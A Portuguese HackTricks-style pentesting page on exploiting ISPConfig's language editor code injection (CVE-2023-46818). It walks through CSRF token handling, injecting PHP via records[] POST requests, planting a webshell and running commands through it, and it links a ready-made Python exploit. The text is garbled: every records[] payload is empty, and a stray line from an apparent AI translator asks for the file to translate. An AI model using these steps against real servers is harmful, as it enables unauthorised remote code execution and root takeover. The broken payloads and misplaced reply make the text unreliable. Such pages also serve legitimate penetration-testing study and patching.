# ISPConfig {{#include ../../banners/hacktricks-training.md}} ## Visão geral ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios. Principais caminhos padrão: - A raiz web costuma estar em `/var/www/ispconfig` quando servida com `php -S` ou via Apache/nginx. - A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário). Dica: Se o painel estiver vinculado localmente (ex.: `127.0.0.1:8080`), encaminhe-o: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Language editor PHP code injection (CVE-2023-46818) - Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Pré-requisitos: - Faça login com a conta superadmin integrada `admin` (outros papéis não são afetados segundo o fornecedor) - O Language editor deve estar habilitado: `admin_allow_langedit=yes` em `/usr/local/ispconfig/security/security_settings.ini` - Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo. ### Fluxo de exploração manual 1) Abra/crie um arquivo de idioma para obter tokens CSRF Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (`csrf_id`, `csrf_key`). Exemplo de caminho de requisição: `/admin/language_edit.php`. 2) Injete PHP via records[] e salve Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 Content-Type: application/x-www-form-urlencoded Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` Teste fora de banda (observar ICMP): ```http records[]= ``` 3) Escrever arquivos e drop a webshell Use `file_put_contents` para criar um arquivo em um caminho acessível via web (por exemplo, `admin/`): ```http records[]= ``` Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST: ```http records[]= ``` Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução. ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` Se o PHP for executado como root (por exemplo, via `php -S 127.0.0.1:8080` iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web. ### PoC em Python Um exploit pronto para uso automatiza token handling e payload delivery: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Exemplo de execução: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Hardening - Atualize para 3.2.11p1 ou posterior - Desative o language editor a menos que seja estritamente necessário: ``` admin_allow_langedit=no ``` - Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios - Exija autenticação forte para a conta integrada `admin` ## Referências - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) - [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) - [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../../banners/hacktricks-training.md}}